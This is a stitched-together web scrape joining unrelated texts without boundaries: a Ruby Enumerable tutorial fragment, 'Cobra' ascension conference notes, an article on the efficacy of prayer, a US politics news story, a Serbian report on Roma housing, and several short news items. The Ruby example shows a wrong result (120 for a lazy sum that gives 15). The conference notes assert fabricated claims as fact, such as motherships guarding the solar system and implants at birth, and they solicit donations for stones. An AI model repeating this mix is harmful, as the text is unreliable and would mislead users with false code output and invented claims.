$ irb irb ( main ): 001 : 0 > accumulator = 0 => 0 irb ( main ): 002 : 0 > result = ( 0.. 5 ). each do | n | irb ( main ): 003 : 1 * accumulator = accumulator + n irb ( main ): 004 : 1 > end => 0.. 5 irb ( main ): 005 : 0 > accumulator => 15
As with our example for using map instead of each (when appropriate), using reduce frees us from telling the computer how to do the calculation. We tell it what we want in the end: the sum of every integer in the collection.
One more thing: Lazy Enumeration
Using a dynamically typed language like Ruby, we can create arrays with values of mixed types. We also encourage duck typing over checking an object's type. However, this language feature and programming best practice can create some unexpected consequences. For example, the + method is defined for both Strings and Integers but they can't be mixed. If we have an array of both Integers and Strings and call reduce on the array with +, we get a TypeError :
$ irb irb ( main ): 001 : 0 > mixed = [ 1, 2, "foo", 3, 4, "bar", 5 ] => [ 1, 2, "foo", 3, 4, "bar", 5 ] TypeError : String can 't be coerced into Fixnum from (irb):6:in `+' from ( irb ): 6 :in `each' from (irb):6:in ` reduce'from (irb):6 from /Users/cmoel/.rubies/ruby-2.2.3/bin/irb:11:in `<main>'
This happens because + is defined for both Integers and Strings but it has a different (and incompatible) meaning for each class: addition for Integer and concatenation for String. While the solution to this problem is completely dependent on the needs of the application, we'll say we do not need the String values and will only keep the Integer values. We can do this with select :
$ irb irb ( main ): 001 : 0 > mixed = [ 1, 2, "foo", 3, 4, "bar", 5 ] => [ 1, 2, "foo", 3, 4, "bar", 5 ] irb ( main ): 002 : 0 > mixed. select { | n | n. is_a? ( Integer ) } => [ 1, 2, 3, 4, 5 ]
Now we can do the same reduce we did previously:
$ irb irb ( main ): 001 : 0 > mixed = [ 1, 2, "foo", 3, 4, "bar", 5 ] => [ 1, 2, "foo", 3, 4, "bar", 5 ] irb ( main ): 002 : 0 > mixed. select { | n | n. is_a? ( Integer ) }. reduce ( & : + ) => 15
There's a problem here, though. Each time we use one of the Enumerable functions, we fully traverse the collection. In the last example, we run through the collection twice, once for select and once for reduce. If mixed was a very large collection, we would eventually run out of memory and the program would crash. To solve this, in Ruby 2.0, Enumerator::Lazy was introduced. I won't give a full explanation in this post, but the gist is to call lazy on the collection before using any Enumerable methods:
$ irb irb ( main ): 001 : 0 > mixed = [ 1, 2, "foo", 3, 4, "bar", 5 ] => [ 1, 2, "foo", 3, 4, "bar", 5 ] irb ( main ): 002 : 0 > mixed. lazy. select { | n | n. is_a? ( Integer ) }. reduce ( & : + ) => 120
Removing the call to reduce, we can see what we're actually building:
$ irb irb ( main ): 001 : 0 > mixed = [ 1, 2, "foo", 3, 4, "bar", 5 ] => [ 1, 2, "foo", 3, 4, "bar", 5 ] irb ( main ): 002 : 0 > mixed. lazy. select { | n | n. is_a? ( Integer ) } => #<Enumerator::Lazy: #<Enumerator::Lazy: [1, 2, "foo", 3, 4, "bar", 5]>:select>
Calling reduce forces our Enumerator::Lazy to evaluate and perform the reduction. If we simply wanted a new array, we could call to_a on the Enumerator::Lazy to force evaluation. Check out the docs for more details. Pat Shaughnessy has also written a very detailed blog post on Enumerator::Lazy that I wholeheartedly recommend.
Conclusion
Ruby allows developers to write clear concise code following object-oriented principles and using procedural or functional principles as well. To me, using the more functionally-inspired methods from Enumerable makes the developer's intent more clear without getting stuck in the details. It also allows developers to think at a higher level about what they want instead of telling the computer how to create what they want, making for more declarative code.Disclaimer: The following conference notes are an interpretation of the person who wrote these notes. Many details are omitted and some original meaning is lost. They are NOT exact words from Cobra and Isis. In an unedited form these notes were already published on PFC.
Notes taken by Antares during the conference, translation Pippa, edited by Nova Biscotti and Cobra
Cobra on Saturday, April 16 th
Cobra welcomed us and emphasized that we all made this ascension conference a reality. He said this was a reflection of the showing progress. The drastically changing situation allows these conferences to take place and there will be another in due time.
Isis thanked us for coming and talked about the fact that we all together would create a big mandala of light with our hearts – a light vortex – to accelerate the awakening and support the planet. After the meditation that we used to get in the right mood and let go old energies, Cobra started with the first topic:
The Galactic Alignment and the Galactic Superwave
The purpose of the conference was to help provide the victory of light to leverage eventually. However, the Event is only the first step; it is only the beginning of the ascension process.
Not until the occupation of the earth is over, we will be able to start unfolding our real potential. Here we already want to reach beyond this goal. The New Era we are talking about is the time AFTER THE EVENT. Currently we are being in a cleansing phase. If we focused on the „here and now“, we would lose the perspective. Therefore the primary relevance is to pay attention to the time after the Event. The actual understanding of the master plan is of paramount importance.
Always the light forces have had a plan that was powerful from the beginning and have been adjusting it to the ever-changing situation. Therefore, the more we can conceptualize the plan the better we will understand the overall situation. If all of the 200 people in this room carried further their understanding about this, a chain reaction would arise which leading to greater global understanding and more awakening. There are numerous misunderstandings about what is right and what is wrong. We not only need mental understanding of the big picture, but to get facts straight concerning the situation. Our energies are the portal for transformation. Participation in the conference is triggering a first-hand transformation process, which will not last just two days, but may become a life-altering experience.
We Had To Unlearn What We Have Learned
Cobra briefly elaborates on the programming we have experienced since our birth. Our new alignment of the group also enables the new cycle for the earth. The first layer of the programming arose many thousand years (or even million years) ago when we went into quarantine to transform the earth from this point. We went into quarantine to both transform the situation here on this planet as well as the cosmos. The only way to reach this point was to enter into a contract with the controlling forces which included implantation at the time of incarnation – also by crystals. Its main effect was our separation from the source, between human and divine, up to the distinction between personality and spirit. The first layer of the programming was and still is the identity of separation. Every subsequent program is linked to it.
For each incarnation that followed, like the present, a new contract had to be agreed to, whereby the first consequence at birth is the implantation. Therefore the erasure of all reminders about former lives is associated and this is a very painful procedure, which is the reason why babies cry when they are born.
Because the remembrances are cut off the path is cleared to adopt all parental paradigms (beliefs imposed by our parents as children). Ambient emotions, which can be very conflicting, are fully absorbed. This programming is be completed firstly by kindergarten, then further indoctrination via the educational system, media, dominating trends and fashion. With this we are fully adapted to the slavery system. The whole (programming) cycle is reinforced in that way.
Once we start to awake, however, we will start asking questions. We will question the systems of beliefs and thereby deconstruct them step by step. In this context, Cobra mentioned the film Conspiracy Theory which amplifies the“right and wrong“ conspiracy theories that we are detecting in parts already.
Now it will be up to all of us to discover in what kind of energies and world we are living.
The Galactic Alignment
The members of this conference came from 22 countries (and all continents except Antarctica). Some maybe even from other planets, as Cobra remarked with a twinkle in his eye. Who knows?
All the stars, and actually all of those we can see at nighttime, are located in this small circle representing a branch of the Milky Way.
By this example the importance becomes obvious to see things from a different perspective. Here on Earth we see just a tiny fraction of reality because our eyes have the skill to only capture a small proportion of the electromagnetic range.
To express it bluntly: we see and feel “virtually nothing“. Within this small circle we see all the stars in the night sky. The Milky Way as a whole only appears as a milky cloud in which, except from the small selection, no other stars are recognizable. The overwhelming vast majority of the stars, as well as all the additional existing galaxies are invisible to us.
Again Cobra pointed out how important it is to expand our perception concerning the physical and non-physical horizons.
Cobra showed a picture which was taken during his flight above the veil and he claimed to have learned a lot about the Chimera group as a result of this experience. The energies beyond the veil are very much better than on Earth. He felt like having taken a bath in tachyons which feels like being in a tachyon chamber except that the “chamber“ is literally everywhere. In this place one is able to feel and experience the galactic ocean of light and love. There is much more out there…
One part of the things that happen around us is part of the galactic plan and another part is caused by the controlling dark forces. We are instruments within the mission of the light forces, we are ambassadors of light. We have been trained for innumerable lifetimes to apply our abilities, interests and certain other things NOW in this appropriate way. Some things and activities may temporarily seem to be unrelated to this plan, but talents and abilities all of a sudden may become vitally necessary. Somebody who likes driving his or her car very fast may have the day come when the same ability is needed to navigate a spacecraft.
For this, specific reflex and coordination skills are required. The same applies to video games, for example. In the next phase after the first contact, demonstrating these skills are part of the divine plan; therefore we should cultivate and use these talents now. We will use them to a fuller extent after the first contact. In every one of us various talents and abilities are being awakened by the inrushing energies.
Currently these skills may still be latent (asleep), but they will be activated suddenly and then we will experience an intense phase of integration. We then will undergo a “relearning“ of these talents and we will re-experience them. The free will, however, is the greatest problem! Although numerous people have developed several talents they do not follow their inner guidance. In this way only slow-moving growth takes place.
If one hundred percent of the key persons had followed their inner guidance, we would have had experienced the Event in 1996! The people in this conference room follow their guidance at least up to fifty percent or more. Otherwise they would not be here. This is a good sign. The more people awaken to their guidance and gifts, the more the process will be accelerated. May this conference contribute to it (and pass on to all the readers around the world).
The awakening of the group will be accelerated by the Galactic Energy. Our energy consists of a double helix. In the center is the Galactic Central Sun, the heart of the galaxy, a stargate. The Central Sun is the source of light and love. At 25,000-year intervals it sends out a heart pulse. Now we are exactly in the middle of this heart pulse. This is not New Age mumbo-jumbo, but is founded on facts. The earth axis is currently aimed at Polaris. The precessional movement of the earth’s axis is related to this galactic pulse. The Galactic Central Sun sends a pulse that synchronizes the whole galaxy. As a consequence, also the tilt of earth’s axis will be adjusted. In doing so the solstices in summer and winter play an interesting role.
In 1975 the earth began to adjust with the galactic equator during the winter solstice. This will continue until 2020. So at every first moment of winter (approximately three days) a portal opens to the galactic equator (the galactic equator is the symmetry plane of the disk-shaped Milky Way). That is why there is direct access from the Galactic Central Sun via the suns to the earth every 25,000 years – currently always on the first day of winter.
This cosmic portal causes transformation. 25,000 years ago the earth happened to get in a quarantine status. In the middle of this time period, approximately 13.000 years ago, Atlantis fell and disappeared. There was a mass extinction of many species on this planet. It was the end of ice age and global cataclysms took place. This we will not experience, but a cooperative transformation of consciousness.
The Galactic Superwave that occurs every 25.000 years
Due to this heart pulse, energies and particles are sent into the whole galaxy. This is why our sun is getting more active and a change in the climate is taking place. Therefore we have been experiencing all the freak weather lately. Many of us have been recognizing that we feel a bit strange when we are exposed to direct sunlight. The sun now has got a different power, a different intensity. All the weather patterns are changing and this is influencing our consciousness. Everything that has been suppressed so far is being influenced and we experience a profound purification process. The Galactic Superwave is very powerful and cannot be stopped.
This inevitably leads to the Event. All changes we can see around us now are not simply unrelated local political alterations here and there, but the entire planetary situation will be changed totally. This will lead us into the Golden Age. The galactic source energy is transforming our planet.
The first important energy that plays a vital part are tachyons. They are the first particles in our universe and are directly connected with the source. They are not only responsible for balance, but also for transformation. The whole galaxy is full of tachyons. However, the veil and various technologies prevent them from reaching our planet.
The Pleiadians have given Cobra technical information to build tachyon chambers. Now there exists one sort of chambers for healing and another to energize several substances.
The Galactic Superwave is the basis for the whole transformation process. That’s why all this is happening here and is exactly the reason why we are here at this time. We were inspired and guided to be here. Just now it is of paramount importance for us all to connect with our spiritual guide.
Especially since April the power of the Galactic Superwave has been rising. NASA has recorded a gamma ray that came from the Central Sun.
In 1977 NASA started the probe Voyager 2 within their project. It travels through our solar system and is now located at its outermost region. This recorded gamma ray is the result of the galactic activities. Therefore the light forces have been very active and Cobra spoke about it in his last report.
Cobra illustrated that two interesting things are happening. Our sun is sending the particles in every direction and pushing them outside. They are colliding with the interstellar particles coming from the Galactic Central Sun and from everywhere. As a result there is a “crash” – the Termination Shock. This circumstance plays a vital role for our fate. The heliopause is located slightly outside the Termination Shock. This is the area where the light forces have been positioning their mother ships for some time past. These are regulating the flow of energies and beings in and out of the solar system. According to many of the predicted catastrophes we would have earthquakes and mankind would be wiped out already. Thanks to these mother ships we are here and protected. The people publishing those prophecies were/are not aware of the protective measures around our solar system. Due to the reason mentioned the predicted catastrophes will not happen. The mother ships are our safeguards.
Cobra showed a picture of Jupiter that was taken on March 17, 2016. It shows a light flashing at the bottom edge which was officially declared as a meteorite impact.
http://www.slate.com/blogs/bad_astronomy/2016/03/29/jupiter_hit_by_asteroid_or_comet_in_march_2016.html
According to Cobra it was in fact a mother ship that exposed shortly. These ships have diameters ranging from 500 to 1000 kilometers, are well camouflaged and are located everywhere. This is part of the disclosure process that these ships show themselves for some seconds to not provoke exuberant reactions.
During a recent stroll Isis and Cobra felt an impulse to look in a certain direction and they saw such an exposed ship for a short time. Since March more and more exposures have been taken place and there are really mother ships of the Galactic Confederation among them.
The Cintamani stone plays a vital role in the process of disclosure. Million years ago a planet in the Sirius star system exploded. Fragments had been catapulted through the galaxy and hit earth at a certain point. Of all the stones on earth the Cintamani stone presently has the highest possible vibration. The Cintamani project stones have been placed in many key vortices around the world. Recently a Japanese-US-American team succeeded in bringing a Cintamani stone via South America into the Antarctica. “Randomly“ they could get the last flight before winter season which starts in April, 1. Cobra thanked everybody who put stones in place.
(Nova Biscotti comment: “If you wish to assist financially to support getting cintamani stones to people who cannot afford them at full price or to key energy vortices around the world, please click on the “Home” button at the top of this page. Once there, the ‘sidebar’ will reappear and you will see buttons in the upper-right section of the main page where you can donate via PayPal or BitCoin. Credit payments are accepted via the PayPal link.)
Questions addressed to Cobra:
Why are the ships exposing now? – The ships are exposing to support the increase of consciousness of the people.
Till when we have to ascend? – Basically, there is no time frame for the ascension. However, the time frame for the begin of the process is determined between 1975 and 2025. This may speed up in groups, but everybody will have enough time to do so in their way. Once the ascension will have been started, everything will take place very fast.
When there are no parallel earths, what about parallel time lines? – Fundamentally, all parallel time lines are potential futures within the possibilities of quanta. Finally the consciousness of the group will decide what will be manifested. As most of the people do not practice their free will a small group of people has to decide – as is often the case in history of the earth – what will happen and what will be manifested. It is always the highest form of consciousness which decides what happens. A group exactly like this (at the conference) changes the time lines. Therefore the light forces ask for these specific group meditations because with this the time lines can be enhanced effectively.
What are these light balls on earth which are reported about? – These occur because of various beings; etheric beings that are also a bit physical. There are more inhabitants on earth than we can imagine.
What happens when I carry the Cintamani stone in my trouser pocket? – The Cintamani stone creates an energy field which has a transforming effect; it guides us.
What will the animals do during the ascension? – They experience their own transformation process. Especially during the last decades the animals have been suffering from many shocks that have to heal. However, |
claims by studies until they have been experimentally reproduced and corroborated. For instance, a 2001 study by researchers associated with Columbia University has been associated with controversy, following claims of success in the popular media.[37] [38]
Medical hopes [ edit ]
In the early 20th century, Florence Nightingale, a pioneer of modern nursing, was a believer in the effects of prayer. She wrote, "Often when people seem unconscious, a word of prayer reaches them".[39]
Today, although different medical studies have been at odds with one another, physicians have not stopped studying or recommending prayer. This may be partly because prayer is increasingly used as a coping mechanism for patients.[40] According to Larry Dossey M.D.: "In 1993, only three U.S. medical schools had courses devoted to exploring the role of religious practice and prayer in health; currently, nearly 80 medical schools have instituted such courses",[11][12] though many factors other than the efficacy of prayer are involved in such courses.
Different approaches to medicine [ edit ]
Apart from traditional medicine, alternative approaches based on prayer have been proposed.[41][42][43] Prayer is becoming increasingly used in approaches to healing.[44]
Skepticism on scope of prayer [ edit ]
A family at prayer
In a debate/interview in Newsweek with Christian evangelical Rick Warren, atheist Sam Harris commented that most lay perceptions of the efficacy of prayer (personal impressions as opposed to empirical studies) were related to sampling error because "we know that humans have a terrible sense of probability." That is, humans are more inclined to recognize confirmations of their faith than they are to recognize disconfirmations.
Harris also criticized existing empirical studies for limiting themselves to prayers for relatively unmiraculous events, such as recovery from heart surgery. He suggested a simple experiment to settle the issue:
Get a billion Christians to pray for a single amputee. Get them to pray that God regrow that missing limb. This happens to salamanders every day, presumably without prayer; this is within the capacity of God. I find it interesting that people of faith only tend to pray for conditions that are self-limiting.[45]
Within Christian teachings, the comment by Harris regarding what he called the self-limiting nature of prayer had been addressed years before by multiple authors. For instance, in the 19th century William Peabody discussed the efficacy of prayer in the face of what he called the immutability of the laws of nature. He said:[46]
Night follows day, and day night. The seasons preserve their succession... We may not hope to suspend their operation by our prayers... And yet notwithstanding all of this, we hold in an undoubting faith the doctrine of the efficacy of our prayers, or to use the language of another, "of an influence from above as diversified and unceasing as are the requests from below".
Peabody then argued at length that prayers may have efficacy in a form that does not interfere with the arrangement of the laws of nature, and that God may respond in ways that are not anticipated, without changing the arrangement of nature. George Burnap echoed the same concept when he wrote:[47]
God governs the universe by fixed and uniform laws, not only for the sake of order, but for human good... The fulfillment of every human desire would break up this order, and bring everything into disorder and confusion.
Prayers and miracles [ edit ]
A group of women praying
The view expressed by Harris above regarding the "relatively unmiraculous" petitions used in prayers has been addressed in religious circles[which?] in the context of miraculous outcomes for prayer. There are different theological classifications of miracles, one of the most common[according to whom?] being the three categories: "surpassing nature" (Latin supra naturam), "against nature" (Latin contra naturam) and "alongside nature" (Latin praeter naturam).[48]
The raising of the dead is considered a "supra naturam" event and is not reported in theological writings beyond the Christian Bible,[contradictory] where ten resurrection events are recorded.[49][not in citation given][50][better source needed] Contra naturam events require significant changes to the "order of the world" (e.g. regrowth of limbs) and are also hardly ever reported. Praeter naturam events can proceed along the laws of nature. They have been reported in a number of cases, and have been subject to a large amount of debate. Examples include the claims of miraculous cures at pilgrimage site such as Our Lady of Lourdes. Many of these claims have been analyzed and only a few have been accepted by the Lourdes Medical Bureau.
Massive prayer [ edit ]
The scientific measurement of the efficacy of massive prayer requires the coordination of the activities of a large number of people, and no direct citations for the existence of such studies appear in the scientific literature. However, non-scientific instructions for massive prayer have been issued in the past, and conclusions about the effects of the prayer have been drawn by a large number of believers, outside a scientific framework.
In a historical context, in 1571 Pope Pius V called for all of Europe to pray the Rosary for victory at the Battle of Lepanto, in which the Christian belligerents included the Papal States. Trophies from the battle are now enshrined in various Christian churches which attribute the victory to the massive prayers.[51][52]
Directions for even more massive, long term prayers were provided by the messages of Our Lady of Fatima reported by Lucia Santos, who stated that the Virgin Mary specifically asked believers to pray for the conversion of Russia.[53] The 9-day Fatima Novena prayer includes a petition for the conversion of Russia.[54][55] With a blessing from Pope Pius XII (who called himself "the world chief against communism") millions of members of the Blue Army of Our Lady of Fatima were instructed to pray for several years in publications such as Soul Magazine.[56][57] Some[who?] Christians attribute the fall of communism in the Revolutions of 1989 to massive prayers, while economists attribute them to market forces and socioeconomic conditions.[58][59][60][61] [62]
Religious and philosophical issues [ edit ]
Praying to the Madonna of the Rosary, by Caravaggio, 1606-1607
Religious and philosophical objections to the very study of prayer's efficacy exist. Many interpret Deuteronomy (6:16 "You shall not put the Lord your God to the test"[63]) to mean that prayer cannot, or should not, be examined.
The religious viewpoint objects to the claim that prayer is susceptible to experimental designs or statistical analysis, and other assumptions in many experiments, e.g. that a thousand prayers are statistically different from one. The objections also include the complaint that religion generally deals with unique, uncontrollable events; statistics, and science in general, deal with recurring phenomena which are possible to sample or control and are susceptible to general laws.
Religious objections also include the complaint that as prayer starts to be measured, it is no longer real prayer once it gets involved in an experiment and that the concept of conducting prayer experiments reflects a misunderstanding of the purpose of prayer. The 2006 STEP experiment indicated that some of the intercessors who took part in it complained about the scripted nature of the prayers that were imposed to them,[64] saying that this is not the way they usually conduct prayer:
Prior to the start of this study, intercessors reported that they usually receive information about the patient's age, gender and progress reports on their medical condition; converse with family members or the patient (not by fax from a third party); use individualized prayers of their own choosing; and pray for a variable time period based on patient or family request.
With respect to expectation of a response to prayer, the 18th-century philosopher William Paley wrote:[65]
To pray for particular favors is to dictate to Divine Wisdom, and savors of presumption; and to intercede for other individuals or for nations, is to presume that their happiness depends upon our choice, and that the prosperity of communities hangs upon our interest.
During the 20th-century, philosopher Bertrand Russell believed that religion and science "have long been at war, claiming for themselves the same territory, ideas and allegiances". And Russell believed that the war had been decisively won by science.[66] Almost 40 years earlier, a 22-year-old Russell also wrote: "For although I had long ceased to believe in the efficacy of prayer, I was so lonely and so in need of some supporter such as the Christian God, that I took to saying prayers again when I ceased to believe in their efficacy."[67]
The 21st-century evolutionary biologist Richard Dawkins, describing how Richard Swinburne explained away the STEP experiment's negative results "on the grounds that God answers prayers only if they are offered up for good reasons",[68] says that some[which?] elements of religion are testable.
Other theologians joined NOMA-inspired sceptics in contending that studying prayer in this way is a waste of money because supernatural influences are by definition beyond the reach of science. But as the Templeton Foundation correctly recognized when it financed the study, the alleged power of intercessory prayer is at least in principle within the reach of science. A double-blind experiment can be done and was done. It could have yielded a positive result. And if it had, can you imagine that a single religious apologist would have dismissed it on the grounds that scientific research has no bearing on religious matters? Of course not.[69]
The Holy Spirit and Christian teaching [ edit ]
Some Christian authors have contended for long that the efficacy of prayer involves the action of the Holy Spirit, e.g. referring to the Gospel of Luke 6:13,
John Tillotson, the 17th-century Archbishop of Canterbury argued that the efficacy of prayer depends on the Holy Spirit.[2] Reformed Presbyterian scholar Wayne R. Spear argues that the person praying needs to be "guided by the Holy Spirit" as to what needs to be prayed for and that given the "right petition" the Holy Spirit will then intercede for the prayer.[3]
The Catechism of the Catholic Church states that:
"Christian prayer is a covenant relationship between God and man in Christ. It is the action of God and of man, springing forth from both the Holy Spirit and ourselves, wholly directed to the Father, in union with the human will of the Son of God made man." [70] "The Holy Spirit who teaches the Church and recalls to her all that Jesus said also instructs her in the life of prayer, inspiring new expressions of the prayer: blessing, petition, intercession, thanksgiving and praise."[71] "Christian prayer is a communion of love with the Father, not only through Christ but also in him". "The father gives us when our prayer is united with that of Jesus 'another Counselor, to be with [us] for ever', the Spirit of Truth." [72] "The [Holy] Spirit helps us in our weakness; for we do not know how to pray as we ought, but the Spirit himself intercedes with sighs too deep for words." [73]
"One enters into prayer by the narrow gate of faith. It is the face of the Lord that we seek and desire; it is his Word that we want to hear and keep"[74] "Once committed to conversion, the heart learns to pray in faith. Faith is a filial adherence to God beyond what we feel and understand. It is possible because the Son gives us access to the Father. He can ask us to'seek' and to 'knock', since he himself is the door and the way.[75]
Christian existentialist philosopher and theologian Paul Tillich argued that prayer is not possible in a subject-object dichotomy in which the person is separated from God, for God cannot be the object of a prayer without being at the same time the subject.[76]
See also [ edit ]White House officials have strenuously avoided labeling the proposal a second stimulus plan, a phrase that has taken on negative political connotations since the original roughly $800 billion recovery plan and subsequent additions have failed to push unemployment down substantially.
But it would provide his party with an agenda for the home stretch of the midterm campaign — though one with a small chance of being enacted quickly or helping the economy before Election Day if it were.
The two major pieces of the package — expanding and making permanent a popular credit for businesses’ research and experimentation expenses, and allowing them to write off the full value of new equipment purchases through 2011 — have longstanding Republican and corporate support.
The administration calculated that the package had to be attractive to Republicans and business groups if it has any chance of passage in the short time Congress will be in session before lawmakers go home to campaign.
Politically, however, the president is, in effect, daring Republicans to oppose the plan, in that way proving Democrats’ contention that they will block even their own ideas to deny Mr. Obama any victories. And by proposing business tax breaks that, according to nonpartisan analyses, would do more to stimulate the economy than extending the Bush tax rates for the wealthy, Mr. Obama hopes to buttress Democrats’ opposition to extending those rates.
With its tilt toward business tax cuts, the package that Mr. Obama is proposing risks discouraging liberals in his party who want more spending for projects that provide jobs, especially for a construction industry still staggered by the collapse of the housing boom.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
They are not likely to be satisfied by another of the president’s proposals: to provide $50 billion immediately to build roads, air traffic control systems, waterways and more, and, for the long term, to create a national infrastructure bank. That is another bipartisan idea that would leverage federal money with state, local and private-sector investments to finance projects.
In any case, the administration acknowledges that its blueprint might not pass before Election Day, or even in the lame-duck Congress afterward.
Advertisement Continue reading the main story
“This is about long-term economic growth,” Robert Gibbs, the White House press secretary, said on Tuesday. “This isn’t about the next 60 days or the next 90 days. This is about how do we get our economy fully back on track, how do we get the millions that want to work back to work, and how do we repair the economic damage that’s been going on not just over the past two years but over the past 10 years.”
Republicans’ early reactions were hostile, especially to Mr. Obama’s proposals to close corporate tax loopholes to offset any costs.
“If the offsets for this new package are other tax increases, then it’s a nonstarter,” Senator Charles E. Grassley, a senior Republican of Iowa, said in a statement.
Douglas Holtz-Eakin, a former director of the Congressional Budget Office and an adviser to Republicans, predicted in an interview that “nothing is going to happen between now and the election,” except perhaps for passage of a separate administration package of tax cuts and lending for small businesses. Senate Republicans had been blocking that legislation.
Nigel Gault, chief economist for IHS/Global Insight, an economics consulting firm, said he liked both the infrastructure and R&D proposals but “they’re not going to kick-start the economy.”
Mr. Gault and other economists questioned why the administration was not proposing a major payroll tax cut to spur hiring. The White House considered the idea, officials said, but dismissed it in part because it would reduce revenues to Social Security and Medicare.
Martin Feldstein, who was economic adviser to President Ronald Reagan, said all the Bush tax cuts should be extended for two years because even letting those for the wealthy lapse would be “a blow to a very fragile economy.”Izvor: N1
Evropska unija finansira izgradnju kuća za devet ugroženih porodica iz Vladičinog Hana, ali meštani sela Prekodolce gde je izgradnja trebalo da počne još u avgustu i dalje blokiraju početak radova.
Na tabli piše - početak radova – avgust 2016, ali od tada do danas ni uz asistenciju policije ne uspevaju da je postave. Stajala je tek toliko dok se meštani nisu okupili.
Devet romskih porodica čije su kuće stradale u poplavama privremeno je smesteno u kontejnere, a i dalje je neizvesno da li će i kada njihove kuće biti izgrađene.
U mesnoj zajednici kažu da je o izgradnji trebalo njih da pitaju.
Početak radova ne uspeva da omugući ni policija koja je i danas izašla na lice mesta.
Meštani sela tvrde da je zemljište njihove i ne dozvoljavaju izgradnju kuća.
“Mi smo u zadnjem momentu saznali da će tu da budu naseljeni, po priči policije, najgori ljudi koji dolaze u ovoj mesnoj zajednici. Nemamo protiv nikakve nacionalnosti, ali ne želimo nikakvu izgradnju ovde u mesnoj zajednici”, ističe Maja Stevanović iz saveta MZ Prekodolce.
Ona dodaje da je reč o problematičnim ljudima.
Pitali smo stanovnike kontejnera koliko njih spava u jednoj privremenoj kući.
"Osam. Ne možemo ni da spavamo. Nemamo još (svoju kuću), šta da radimo. Eto, tako se borimo", kažu stanovnici privremenih kontejnera.
Kuće u tri kilometra udaljenom selu trebalo je da budu trajno rešenje, ali se njihove komšije tome protive.
"Da nam ne dolazi niko ovde. Ne damo, naše je imanje i gotovo", kaže meštanin.
"Zašto ih dovode u naše ovde? Zarazu da mi donese i gde da se denem?", dodaje drugi.
"Kako može EU meni da komanduje u moje selo? Ovo je naša zemlja, ko je on iz drugo selo meni da komanduje. Deca od sutra ne idu u školu", kaže građanka ovog sela.
Predsednik opštine Vladičin Han Goran Mladenović kaže da je ovo lep i human projekat i da ne razume nezadovoljstvo meštana. Inače, u ovom selu živi oko 2.000 ljudi
Za sada se i dalje nadaju da će projekat u kome je donator EU, a investitor opština Vladičin Han biti i završen.
00:00 Izvor: N1Image copyright Getty Images Image caption This is the Sydney that a Dutch student had hoped to visit before starting university.
A Dutch student learned the hard way that some deals are too good to be true when he landed in Sydney, Canada instead of Sydney, Australia.
Milan Schipper told the CBC that he bought his flight because it was much cheaper than all the other tickets.
Instead of heading straight to the beach, as he had planned, he found himself in near-blizzard conditions with nothing more than a light jacket.
Airline employees helped him book a return ticket home to Amsterdam.
The 18-year-old says he knew something was amiss when he had a layover in Toronto, and his connecting flight was in a small Air Canada plane.
"The plane was really small and so I figured, would that make it to Australia?" he told the CBC.
It's not the first time hapless travellers have made that mistake.
In 2002, a young British couple also landed in the Sydney more famous for its lobster boats than its opera house.
In 2009, the Daily Mail reported that a Dutch grandfather travelling with his son also wound up there by accident. Italian tourists made a similar error in 2010.
Once Mr Schipper landed, airline employees helped him book a ticket back to Toronto, so that he could return to the Netherlands.
His father, he told the CBC, "laughed an awful lot" when he picked Mr Schipper up at the airport in Amsterdam.next Image 1 of 2
prev Image 2 of 2
Is telepathy just around the corner?
Researchers from Duke University have allowed rats to communicate with each through brain signals.
Placed in separate cages, the rats were able to solve puzzles with the aid of microelectrodes 1/100th the width of a hair implanted into their brains. One rat was able to interpret the other’s actions and intentions even when they couldn’t see or hear each other.
The same experiment worked when the rats were thousands of miles apart with one in Brazil and another in North Carolina.
[pullquote]
Scientists have so far been able to interpret a rat’s thoughts and intentions by downloading those brain waves into a computer, but this is the first time another rat has been able to understand the signals directly.
"Until recently we used to record this brain activity and send it to a computer," said Miguel Nicolelis of Duke's Medical Center in North Carolina. Nicolelis, who led the study, told the BBC's Science in Action program how the the system works. “And the [computer] tells us what the animal is going to do."
“We basically created a computational unit out of two brains,” Nicolelis said.
He believes the findings could help shed light on therapy for those dealing with brain injuries and paralysis, such as stroke victims. Any sort of treatment coming to market is still a long way off but that hasn’t deterred Nicolelis, who heads one of the leading research teams in the brain space.
They’re most well known for one particularly lofty goal: allowing a paralyzed person to kick a ball at the 2014 World Cup in Brazil by developing a brain-controlled robot exoskeleton. The team has already fooled monkey brains into artificially feeling touch and given rats the ability to detect infrared light.
But getting rats to communicate with each other using only their brains was no easy feat. In the experiment, the “encoder” rat had to respond to a visual cue and press a lever to receive its reward. While it's doing this, its brain would send a signal to the “decoder” rat, who then has to interprets this information and also press the right lever to get its prize. If the decoder rat gets it right, the encoder gets an extra reward, creating a feedback loop that encourage cleaner brain signaling.
It took a month and a half of training before the rats “got it.”
"[It] takes about 45 days of training an hour a day," Prof Nicolelis said. "There is a moment in time when... it clicks. Suddenly the [decoder] animal realizes: 'Oops! The solution is in my head. It's coming to me' and he gets it right."
The team is already developing a version of the experiment that would combine the thoughts of more than one animal. Eventually -- and Nicolelis admits this is many decades away -- we would be able to crowdsource our brainpower.
“You could actually have millions of brains tackling the same problem and sharing a solution” Nicolelis said.Some 15% believe in fortune telling or Tarot The majority of Britons believe in heaven and life after death, new research suggests. The survey of 2,060 people showed 55% believe in heaven, while 53% believe in life after death and 70% believe in the human soul. The study was carried out between October and November last year for the public theology think tank Theos. It also suggested that nearly four in 10 people, 39%, believe in ghosts and 27% believe in reincarnation. A further 22% believe in astrology or horoscopes and 15% believe in fortune telling or Tarot. The think tank said the findings were "especially striking" when compared to the 1950s. Then only 10% of the public told Gallup that they believed in ghosts and just 2% thought they had seen one. More sceptical In 1951, only 7% of people said they believed in predicting the future by cards and 6% by stars. But the latest research showed an increase in scepticism about certain aspects of the supernatural, the organisation said. In a 1998 Mori poll, 18% of the public said they believed in fortune telling or tarot, and 38% in astrology. A further 40% said they believed in ghosts, and 15% said that they had personal experience of ghosts. Theos director Paul Woolley said: "The enlightenment optimism in the ability of science and reason to explain everything ended decades ago. "The extent of belief will probably surprise people, but the finding is consistent with other research we have undertaken. "The results indicate that people have a very diverse and unorthodox set of beliefs. Our research may point to a slight increase in scepticism about aspects of the supernatural over the last 10 years."
